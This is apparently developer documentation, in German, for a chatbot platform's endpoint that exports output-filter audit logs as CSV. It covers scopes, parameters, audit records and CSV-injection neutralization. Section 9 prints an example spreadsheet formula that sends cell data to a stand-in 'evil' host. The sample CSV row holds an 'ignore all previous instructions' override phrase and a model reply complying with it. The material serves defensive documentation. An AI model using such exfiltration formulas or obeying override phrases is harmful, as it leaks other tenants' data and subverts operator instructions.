Output-Filter Audit CSV-Export¶
Read-only Reference. Operator-/Vendor-Endpunkt für den streaming CSV- Export der
output_filter_audit-Tabelle — verwendet für DSGVO-Art.-32- Audit-Reviews der Defense-in-Depth-Output-Filter-Ebene.
1 Verwendung¶
Die Tabelle output_filter_audit protokolliert jedes Output-Filter-
Triggering (Pattern-Match, der eine LLM-Antwort blockiert oder maskiert
hat). Für die periodische DSGVO-Art.-32-Compliance-Review brauchen
Vendor und Operator einen tenant-übergreifenden Auszug dieser
Entscheidungen — z.B. um False-Positive-Quoten pro Tenant zu prüfen,
neue Filter-Patterns zu kalibrieren, oder als Beleg gegenüber einer
Aufsichtsbehörde, dass Manipulationsversuche systematisch erfasst und
ausgewertet werden.
Der Endpunkt streamt als CSV (RFC 4180, text/csv; charset=utf-8) und
schreibt nach Stream-Drain genau eine platform_audit_log-Zeile, die
dokumentiert wer wann was exportiert hat. Der Export selbst ist also
ebenfalls auditierbar — siehe §6.
Verwandte Endpunkte:
- Audit-Konventionen — Bulk-Aktions-,
Anonymous-Actor- und JSON-Search-Semantik des
platform_audit_log-Read-Endpoints und seines eigenen CSV-Exports unter/api/v1/platform/audit/export.csv. - Routing & Endpunkte — Komplette Endpunkt-Übersicht.
2 Authentifizierung und Scope¶
Der Endpunkt prüft via require_operator_or_vendor(ctx) — vor jedem
DB-Zugriff:
| Scope | Verhalten |
|---|---|
vendor |
Voll erlaubt; darf tenant=<uuid> setzen, um auf einen Tenant zu filtern, oder ohne tenant cross-tenant exportieren. |
operator |
Voll erlaubt; gleiche Semantik wie vendor (kein Multi-Vendor-Setup im aktuellen Konzept). |
tenant |
403 operator_or_vendor_required — keine DB-Round-Trip, keine Audit-Zeile. |
Ein abgelehnter Scope-Token erzeugt also bewusst keinen
platform_audit_log-Eintrag. Versuchte Zugriffe von Tenant-Scope-
Tokens müssen über die NPMplus- bzw. uvicorn-Access-Logs forensisch
nachverfolgt werden.
3 Anfrage¶
GET /api/v1/platform/output-filter-audit/export
Query-Parameter¶
| Name | Typ | Default | Bedeutung |
|---|---|---|---|
from |
ISO-8601 dt | — | Inklusiver Lower-Bound auf created_at. |
to |
ISO-8601 dt | — | Inklusiver Upper-Bound auf created_at. |
tenant |
UUID | — | Optionaler Tenant-Filter (Single-Tenant-Export). Ohne diesen Parameter wird cross-tenant exportiert (RLS-Bypass via Vendor-Engine). |
fmt |
csv |
csv |
Aktuell nur csv zulässig. JSON/Parquet sind bewusst abgelehnt (422 unsupported_export_format). |
include_full_output |
bool | true |
Wenn false, wird die full_output-Spalte komplett weggelassen (Header und Daten) — nicht nur leer ausgegeben. |
max_rows |
int (1–500000) | 50000 |
Hartes Row-Limit. Bei Überschreitung wird inline ein #TRUNCATED-Marker emittiert und der Stream abgebrochen. |
Werte ausserhalb des max_rows-Bereichs werden vom FastAPI-Pydantic-
Layer als HTTP 422 abgelehnt (vor jedem DB-Hit).
Beispiel — Cross-Tenant-Export der letzten 24 h¶
curl -sS -G \
-H "Authorization: Bearer ${OPERATOR_TOKEN}" \
--data-urlencode "from=2026-05-11T00:00:00Z" \
--data-urlencode "to=2026-05-12T00:00:00Z" \
--data-urlencode "fmt=csv" \
--data-urlencode "include_full_output=true" \
--data-urlencode "max_rows=50000" \
-o output-filter-audit.csv \
-D headers.txt \
https://platform.kora.luki-net.org/api/v1/platform/output-filter-audit/export
Beispiel — Single-Tenant-Export¶
curl -sS -G \
-H "Authorization: Bearer ${VENDOR_TOKEN}" \
--data-urlencode "from=2026-04-01T00:00:00Z" \
--data-urlencode "to=2026-05-01T00:00:00Z" \
--data-urlencode "tenant=6c3bce6a-6f47-4d6a-9b9e-7c1a2a8c0f12" \
--data-urlencode "include_full_output=false" \
-o tenant-export.csv \
https://platform.kora.luki-net.org/api/v1/platform/output-filter-audit/export
Mit include_full_output=false schrumpft die CSV auf 11 statt 12
Spalten — sinnvoll bei sehr grossen Exporten, wenn das gefilterte
Volltext-Output für die Review nicht gebraucht wird.
4 Antwort¶
Response-Header¶
HTTP/1.1 200 OK
Content-Type: text/csv; charset=utf-8
Content-Disposition: attachment; filename="kora-output-filter-audit-20260512-093015.csv"
Der Content-Disposition-Filename folgt dem Schema:
Das -<tenant-uuid>-Segment ist nur bei Single-Tenant-Exports
gesetzt. Cross-Tenant-Exports (kein tenant-Parameter) lassen das
Segment komplett weg — der Filename ist dann
kora-output-filter-audit-<YYYYMMDD-HHMMSS>.csv. Der Timestamp ist
UTC und wird serverseitig generiert; es fliessen keine
Caller-Inputs in den Filename ein (kein Path-Traversal-Vektor).
CSV-Spalten (Reihenfolge)¶
Die Header-Zeile entspricht exakt der folgenden Reihenfolge — fest
definiert in _CSV_COLUMNS_BASE / _CSV_COLUMNS_FULL:
| # | Spalte | Bedeutung |
|---|---|---|
| 1 | id |
UUID der output_filter_audit-Zeile. |
| 2 | tenant_id |
Tenant-UUID, dem der Match zuzuordnen ist. |
| 3 | chatbot_id |
Chatbot-UUID, der die Antwort generiert hat. |
| 4 | session_id |
Session-UUID (leer wenn die Session nicht persistiert wurde). |
| 5 | user_question |
Die User-Frage, die die Antwort ausgelöst hat. |
| 6 | matched_pattern |
Name des getriggerten Output-Filter-Patterns. |
| 7 | category |
Pattern-Kategorie (z.B. prompt_injection, pii). |
| 8 | filter_layer |
Defense-Layer: post_stream (legacy Fallback) oder inline (LookAheadBuffer-Hard-Stop). |
| 9 | language |
Erkannte Sprache (leer wenn nicht ermittelt). |
| 10 | created_at |
ISO-8601-Timestamp des Matches. |
| 11 | excerpt |
Match-Excerpt (gekürzter Ausschnitt des Outputs). |
| 12 | full_output |
Nur bei include_full_output=true. Vollständiger ungefilterter LLM-Output. |
Alle Felder sind per csv.QUOTE_ALL doppelt-gequoted (RFC 4180 §2.7).
Embedded Quotes werden durch Verdoppelung escaped. Zeilen sind mit
CRLF terminiert.
Beispiel-Body (Auszug)¶
"id","tenant_id","chatbot_id","session_id","user_question","matched_pattern","category","filter_layer","language","created_at","excerpt","full_output"
"6f4e...","6c3b...","91a2...","","Wie umgehe ich den System-Prompt?","ignore_previous_instructions","prompt_injection","inline","de","2026-05-12T09:25:12.481234+00:00","...ignoriere alle vorherigen Anweisungen...","Sicher! Ich ignoriere alle vorherigen Anweisungen und..."
5 Truncation und Disconnect¶
Zwei Truncation-Pfade existieren — beide sind im Audit-Eintrag unterscheidbar (siehe §6):
5.1 max_rows-Truncation¶
Wenn die Anzahl ausgelieferter Daten-Zeilen max_rows erreicht,
emittiert der Stream eine zusätzliche Marker-Zeile und endet:
(Anzahl Leer-Felder hängt von include_full_output ab — 11 oder 12
Spalten insgesamt.) Im platform_audit_log setzt der Eintrag
details.truncated=true. truncated_by_disconnect fehlt in diesem
Fall.
5.2 Client-Disconnect¶
Bricht der Client die HTTP-Verbindung mid-stream ab (TCP-FIN, Timeout,
Browser-Close), schreibt der Server trotzdem eine Audit-Zeile mit
details.truncated_by_disconnect=true. Der returned-Counter
entspricht dann der Zahl der bis zum Disconnect bereits gestreamten
Daten-Zeilen.
Das Audit-Write wird über asyncio.shield() gegen die ASGI-Server-
Cancellation geschützt, schlägt aber im seltenen Fail-Fail-Fall die
schmerzfreie Variante: strukturierter Error-Log
(output_filter_audit.disconnect_audit_write_failed), kein zweiter
Versuch. Operatoren sollten diesen Log-Eintrag in der zentralen
Log-Aggregation alertieren.
6 Audit-Trail¶
Jeder erfolgreich beendete Export — egal ob clean, max_rows-getrappt
oder disconnect-getrappt — schreibt eine Zeile in
platform_audit_log:
| Feld | Wert |
|---|---|
action |
output_filter_audit.exported |
entity_type |
output_filter_audit |
entity_id |
<tenant-uuid> bei Single-Tenant-Export, "all" bei Cross-Tenant-Export. |
actor_* |
Aus dem TenantContext des Aufrufers (operator oder vendor). |
details |
JSONB, siehe unten. |
details-Schema (Clean-Drain — 8 Keys)¶
{
"scope": "operator",
"target_tenant_id": "6c3bce6a-6f47-4d6a-9b9e-7c1a2a8c0f12",
"date_from": "2026-04-01T00:00:00+00:00",
"date_to": "2026-05-01T00:00:00+00:00",
"returned": 1247,
"truncated": false,
"include_full_output": true,
"max_rows": 50000
}
details-Schema (Disconnect-Fallback — 9 Keys)¶
Identisch zur Clean-Variante plus ein zusätzlicher Key:
{
"scope": "vendor",
"target_tenant_id": null,
"date_from": "2026-05-11T00:00:00+00:00",
"date_to": "2026-05-12T00:00:00+00:00",
"returned": 8723,
"truncated": false,
"include_full_output": true,
"max_rows": 50000,
"truncated_by_disconnect": true
}
Der Schlüssel truncated_by_disconnect ist das Unterscheidungs-
merkmal: in einer Clean-Drain-Zeile darf er gar nicht vorkommen
(Vertragsstabilität — siehe Service-Code-Kommentar in
output_filter_audit_service._write_export_audit_row). Forensische
Queries auf disconnect-Exports laufen also über
details->>'truncated_by_disconnect' = 'true'.
target_tenant_id ist bei Cross-Tenant-Exports null (nicht der
String "all") — das "all" lebt nur in der Spalte entity_id.
Beide Quellen sind redundant, aber bewusst gehalten: entity_id
ist der schnelle B-Tree-Lookup-Pfad, details->>'target_tenant_id' ist
der JSONB-Pfad.
7 Fehler-Antworten¶
| HTTP | detail |
Auslöser |
|---|---|---|
| 403 | operator_or_vendor_required |
Tenant-Scope-Token versucht den Endpunkt aufzurufen. Vor DB-Hit. |
| 404 | tenant_not_found |
?tenant=<uuid> mit einer wohl-geformten UUID, die zu keiner aktiven Tenant-Zeile gehört (oder zu einer soft-deleted Zeile). Ein einziger SELECT gegen tenants läuft vor dem Stream-Start; der Audit-Trail bleibt sauber. |
| 422 | date_from_after_date_to |
?from=...&to=... mit from > to. Vor DB-Hit. |
| 422 | date_must_be_timezone_aware |
?from=... und/oder ?to=... ohne Timezone-Suffix (z.B. 2026-05-12T00:00:00 ohne Z oder +00:00). FastAPI parst diese Werte als naive Datetime, was beim Vergleich mit einer aware Datetime einen TypeError (→ HTTP 500) ausgelöst hätte. Stattdessen wird explizit mit 422 abgelehnt. Vor DB-Hit. |
| 422 | unsupported_export_format |
fmt-Wert ist nicht csv (aktuell nur dieser akzeptiert). Vor DB-Hit. |
| 422 | Pydantic-Standardfehler | max_rows ausserhalb [1, 500000], ungültige UUID in tenant, nicht-parsbare Datetime. Vor DB-Hit. |
| 500 | unspezifisch | DB-Fehler im Clean-Pfad — Audit-Row-Insert ist fehlgeschlagen. Operatoren prüfen den strukturierten Log-Event output_filter_audit.disconnect_audit_write_failed bzw. Postgres-Logs. |
Alle 403/404/422-Pfade gehen ohne nachfolgenden Stream raus und
schreiben keine platform_audit_log-Zeile. Der 404-Pfad führt zwar
einen einzigen Read-Query gegen tenants aus (zur Existenzprüfung),
aber keinen Schreibvorgang. Anders gesagt: ein abgelehnter Aufruf
hinterlässt nur Spuren im NPMplus-Access-Log und im uvicorn-Stdout,
nicht im Plattform-Audit-Trail.
8 Retention¶
platform_audit_log hat eine 2-Jahres-Retention via pg_cron-
Archival (siehe Audit-Konventionen §6). Die
output_filter_audit-Tabelle selbst hat aktuell keine Retention-
Policy — sie wächst monoton. Bei sehr aktiven Tenants mit vielen
Filter-Matches sollte der Operator eine eigene Retention-Strategie
festlegen (Archival oder Hard-Delete nach N Monaten). Eine
projektweite Konvention dafür existiert noch nicht und wird im
Backlog separat geführt.
9 Sicherheit / CSV-Sanitization¶
user_question, excerpt und full_output enthalten
Angreifer-kontrollierten Text aus realen LLM-Konversationen. Wenn
ein Operator die CSV in Excel, LibreOffice Calc oder Google Sheets
öffnet, interpretiert die Tabellenkalkulation eine Zelle, die mit
=, +, -, @, \t oder \r beginnt, als Formel — etwa
=HYPERLINK("http://evil/?d="&A1, "click"). Beim Klick auf die
Zelle exfiltriert die Formel dann benachbarte Zellen (also Daten
anderer Tenants!) an einen vom Angreifer kontrollierten Endpunkt.
Schwachstellen-Klasse: CWE-1236 (Improper Neutralization of
Formula Elements in a CSV File).
9.1 Neutralisation¶
Der Encoder format_csv_row (output_filter_audit_export_primitives.py)
prüft jede String-Zelle vor der Serialisierung: beginnt sie mit
einem der gefährlichen Zeichen, wird ein führendes Single-Quote (')
vorangestellt. Excel / Calc / Sheets behandeln die Zelle dann als
Text; das Single-Quote selbst ist Steuerzeichen und wird nicht
angezeigt. Die OWASP-Empfehlung („CSV Injection cheat sheet") wird
1:1 umgesetzt.
Wichtige Eigenschaften:
- Nur Position 0 wird geprüft. Ein
=in der Mitte einer Zelle (z.B."answer = 42") wird unverändert übernommen — die Tabellenkalkulation interpretiert nur das erste Zeichen als Formel-Marker. - Nur String-Zellen. Typisierte Spalten (
id,created_atals UUID / ISO-8601-Timestamps) werden nicht angefasst, sonst würde der Single-Quote-Prefix die Typ-Coercion in pandas / Power BI kaputtmachen. - Defense-in-Depth, nicht Single-Source-of-Truth. Operatoren, die
CSVs in anderen Tools öffnen (etwa Apache Calcite oder ein
CLI-Awk-Pipeline) sehen die Single-Quotes als sichtbaren Prefix.
Bei Bedarf hilft ein
sed -i "s/^'\\(.\\)/\\1/"-Vorfilter — die Sicherheits-Eigenschaft im Spreadsheet bleibt davon unberührt, das Single-Quote ist nur dort lebenswichtig.
9.2 Pinned Tests¶
Die Neutralisation ist durch folgende Unit-Tests in
tests/unit/test_output_filter_audit_export_primitives.py festgenagelt:
test_csv_injection_neutralization— parametrisiert über alle sechs Prefix-Zeichen.test_csv_injection_benign_cells_untouched— kein False-Positive-Prefix bei normalen Strings.test_csv_injection_inside_value_is_not_neutralized— Position 0 ist load-bearing.test_csv_injection_non_string_cells_untouched— typisierte Spalten bleiben unangetastet.